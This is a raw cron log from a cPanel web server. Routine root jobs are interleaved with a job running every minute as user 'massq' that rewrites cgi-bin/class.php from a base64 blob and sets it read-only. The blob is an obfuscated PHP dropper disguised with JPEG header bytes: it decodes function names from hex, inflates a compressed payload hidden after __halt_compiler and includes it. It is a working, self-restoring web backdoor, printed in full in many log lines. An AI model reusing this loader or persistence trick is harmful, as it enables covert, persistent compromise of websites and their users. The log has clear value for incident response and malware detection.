Aug 30 07:40:01 server CROND[12315]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 07:40:01 server CROND[12317]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 07:41:01 server CROND[13154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:41:01 server CROND[13156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:41:01 server CROND[13155]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:42:01 server CROND[13551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:42:01 server CROND[13552]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:42:01 server CROND[13553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:42:01 server CROND[13554]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 07:43:01 server CROND[13942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:43:01 server CROND[13941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:43:01 server CROND[13943]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:44:01 server CROND[14426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:44:01 server CROND[14427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:44:01 server CROND[14428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:45:01 server CROND[14806]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 07:45:01 server CROND[14807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:45:01 server CROND[14809]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 07:45:01 server CROND[14811]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 07:45:01 server CROND[14810]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:45:01 server CROND[14812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:45:01 server CROND[14808]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 07:46:01 server CROND[15633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:46:01 server CROND[15634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:46:01 server CROND[15635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:47:01 server CROND[16025]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:47:01 server CROND[16026]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:47:01 server CROND[16027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:48:01 server CROND[16414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:48:01 server CROND[16415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:48:01 server CROND[16416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:49:01 server CROND[16881]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:49:01 server CROND[16882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:49:01 server CROND[16883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:50:01 server CROND[17274]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 07:50:01 server CROND[17276]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 07:50:01 server CROND[17282]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 07:50:01 server CROND[17280]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 07:50:01 server CROND[17281]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 07:50:01 server CROND[17284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:50:01 server CROND[17283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:50:01 server CROND[17279]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 07:50:01 server CROND[17285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:51:01 server CROND[18096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:51:01 server CROND[18095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:51:01 server CROND[18097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:52:01 server CROND[18765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:52:01 server CROND[18766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:52:01 server CROND[18767]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:53:01 server CROND[19137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
